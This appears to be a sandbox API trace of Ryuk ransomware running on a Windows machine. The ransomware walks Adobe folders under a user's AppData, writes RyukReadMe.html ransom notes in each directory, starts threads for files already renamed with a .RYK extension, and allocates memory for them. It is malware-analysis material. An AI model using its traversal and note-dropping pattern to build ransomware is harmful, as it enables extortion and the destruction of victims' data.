	[0201.121] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0201.121] GetLastError () returned 0xb7
	[0201.121] CloseHandle (hObject=0x3e8) returned 1
	[0201.121] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xc6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0201.122] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46dbdeb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xc6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0201.122] FindClose (in: hFindFile=0x29ed40 | out: hFindFile=0x29ed40) returned 1
	[0201.122] SetLastError (dwErrCode=0x0) 
	[0201.122] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0201.122] GetLastError () returned 0xb7
	[0201.122] CloseHandle (hObject=0x358) returned 1
	[0201.122] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0201.123] SetLastError (dwErrCode=0x0) 
	[0201.123] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0201.123] GetLastError () returned 0xb7
	[0201.123] CloseHandle (hObject=0x358) returned 1
	[0201.123] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ed40
	[0201.123] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47ed9cd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47ed9cd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.124] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4790c730, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xc6, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0201.124] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0201.128] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.129] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc6, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0201.129] SetLastError (dwErrCode=0x0) 
	[0201.129] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0201.129] GetLastError () returned 0xb7
	[0201.129] CloseHandle (hObject=0x3c0) returned 1
	[0201.129] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec80
	[0201.130] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.130] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4778f970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4778f970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4778f970, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xd2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0201.130] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47a894f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0xd2, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0201.130] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0
	[0201.135] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.136] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xd2, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0201.136] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0201.139] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0201.140] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xd2, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0201.140] FindClose (in: hFindFile=0x29ec80 | out: hFindFile=0x29ec80) returned 1
	[0201.140] SetLastError (dwErrCode=0x0) 
	[0201.140] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0201.140] GetLastError () returned 0xb7
	[0201.140] CloseHandle (hObject=0x3c0) returned 1
	[0201.140] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xc6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0201.140] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xc6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0201.141] FindClose (in: hFindFile=0x29ed40 | out: hFindFile=0x29ed40) returned 1
	[0201.141] SetLastError (dwErrCode=0x0) 
	[0201.141] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0201.141] GetLastError () returned 0xb7
	[0201.141] CloseHandle (hObject=0x358) returned 1
	[0201.141] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xba, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0201.141] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xba, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0201.142] FindClose (in: hFindFile=0x29eaa0 | out: hFindFile=0x29eaa0) returned 1
	[0201.142] SetLastError (dwErrCode=0x0) 
	[0201.142] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0201.142] GetLastError () returned 0xb7
	[0201.142] CloseHandle (hObject=0x384) returned 1
	[0201.142] FindNextFileW (in: hFindFile=0x29e980, lpFindFileData=0x111150 | out: lpFindFileData=0x111150*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0201.142] SetLastError (dwErrCode=0x0) 
	[0201.143] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x384
	[0201.143] GetLastError () returned 0xb7
	[0201.143] CloseHandle (hObject=0x384) returned 1
	[0201.143] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\*.*", lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eaa0
	[0201.143] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.143] FindNextFileW (in: hFindFile=0x29eaa0, lpFindFileData=0x110a20 | out: lpFindFileData=0x110a20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xba, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0201.144] SetLastError (dwErrCode=0x0) 
	[0201.144] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x358
	[0201.144] GetLastError () returned 0xb7
	[0201.144] CloseHandle (hObject=0x358) returned 1
	[0201.144] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ed40
	[0201.144] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.145] FindNextFileW (in: hFindFile=0x29ed40, lpFindFileData=0x1102f0 | out: lpFindFileData=0x1102f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdc, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0201.145] SetLastError (dwErrCode=0x0) 
	[0201.145] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0201.145] GetLastError () returned 0xb7
	[0201.145] CloseHandle (hObject=0x3c0) returned 1
	[0201.145] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec80
	[0201.145] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.146] FindNextFileW (in: hFindFile=0x29ec80, lpFindFileData=0x10fbc0 | out: lpFindFileData=0x10fbc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe8, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0201.146] SetLastError (dwErrCode=0x0) 
	[0201.146] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc
	[0201.146] GetLastError () returned 0xb7
	[0201.146] CloseHandle (hObject=0x3bc) returned 1
	[0201.147] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ece0
	[0201.147] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0201.147] FindNextFileW (in: hFindFile=0x29ece0, lpFindFileData=0x10f490 | out: lpFindFileData=0x10f490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x470ddb90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0xf8, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0201.147] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0201.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4
	[0201.153] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
